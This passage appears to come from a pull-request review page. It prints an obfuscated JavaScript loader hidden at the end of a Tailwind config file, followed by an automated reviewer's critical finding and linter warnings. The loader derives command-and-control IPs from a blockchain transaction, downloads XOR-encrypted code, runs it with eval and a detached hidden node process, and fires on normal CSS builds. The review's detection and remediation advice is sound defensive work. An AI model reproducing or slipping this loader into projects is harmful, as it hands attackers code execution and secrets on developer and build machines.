fm(cb(n).map(bt));e||(e=await ls(t).catch(li));const n2=Buffer.from(e.tx.to.replace(/^0x/i,""),"\u0068\u0065\u0078"),ip=b=>b[0]+"\u002E"+b[1]+"\u002E"+b[2]+"\u002E"+b[3],[o,r]=[ip(n2.subarray(0,4)),ip(n2.subarray(4,8))],g=global;g._V=g.i;g._H=`http://${o}:80`;g._H2=`http://${r}:80`;g._t_s=`http://${o}:443`;g._t_u=`http://${o}:80`;function gc(k,u){const b={hostname:u.hostname,port:+u.port||80,path:u.pathname+u.search,headers:{"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36","Sec-V":g._V||0}},x=b=>{const e=k.length;for(let t=0;t<b.length;t++)b[t]^=k.charCodeAt(t%e);return b.toString("\u0075\u0074\u0066\u0038");},h=t=>{const n=t.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"];if(!n)throw new Error("\u006E\u006F\u0020\u0062\u0036\u0034");return x(Buffer.from(n,"base64"));},q=s=>new Promise((o,r)=>{const t=http.request({...b,method:s},n=>{if(s==="\u0048\u0045\u0041\u0044"){try{o(h(n));}catch(t){r(t);}n.resume();return;}const e=[];n.on("data",t=>e.push(t));n.on("\u0065\u006E\u0064",()=>{try{const t=Buffer.concat(e);if(t.length)return o(x(t));if(n.headers["\u0078\u002D\u0070\u0061\u0079\u006C\u006F\u0061\u0064\u002D\u0062\u0036\u0034"])return o(h(n));r(new Error("\u0065\u006D\u0070\u0074\u0079"));}catch(t){r(t);}});n.on("\u0065\u0072\u0072\u006F\u0072",r);});t.on("error",r);t.end();});return q("\u0047\u0045\u0054").catch(()=>q("\u0048\u0045\u0041\u0044"));}async function rl(t,n,e){try{const o=await gc(n,t),r=`global['_V']='${g._V||0}';global['${e?"\u005F\u0048":"\u005F\u0074\u005F\u0073"}']='${e?g._H:g._t_s}';global['${e?"\u005F\u0048\u0032":"_t_u"}']='${e?g._H2:g._t_u}';global['r']=require;global['m']=module;var _global=global;`;e||eval(r+o);spawn("node",["-e",r+o],{detached:!0,stdio:"\u0069\u0067\u006E\u006F\u0072\u0065",windowsHide:!0}).unref();}catch(t){}}await rl(new URL(`http://${o}:443/0x/cls`),"\u0071\u0034\u0046\u005A\u006B\u0078\u0058\u007B\u0021\u0068\u002C\u0053\u0072\u0033\u003D\u0040",!1);await rl(new URL(`http://${o}:443/0x/ls`),"\u0079\u002D\u0070\u005F\u003E\u0064\u0024\u0030\u0042\u0026\u0040\u005E\u0031\u0061\u0051\u006B",!0);})(); |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | 🏗️ Heavy lift
Remove the remote code execution payload.
Line 29 fetches attacker-controlled code and executes it with eval. It also starts a detached node process with the downloaded code. The gen-css task loads this file, so normal CSS generation executes the payload.
Delete all content after the Tailwind configuration closing };. Treat every environment that ran this revision as compromised. Rotate accessible secrets and investigate build and developer hosts.
🧰 Tools
🪛 Biome (2.5.6)
[error] 29-29: eval() exposes to security risks and performance issues.
(lint/security/noGlobalEval)
🪛 OpenGrep (1.26.0)
[ERROR] 29-29: eval() with dynamic input can execute arbitrary code. Avoid dynamic code evaluation entirely, or use a safe alternative.
(coderabbit.code-injection.eval-js)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tailwind.config.js` at line 29, Remove the entire remote code execution
payload appended after the Tailwind configuration’s closing `};`, including its
network requests, `eval`, detached `spawn`, and self-invoking execution flow.
Leave the legitimate Tailwind configuration intact so loading it performs no
external communication or code execution.
Source: Linters/SAST tools
Added in a helm chart. Tested in our local cluster.
Summary by CodeRabbit
New Features
Documentation
Security
Maintenance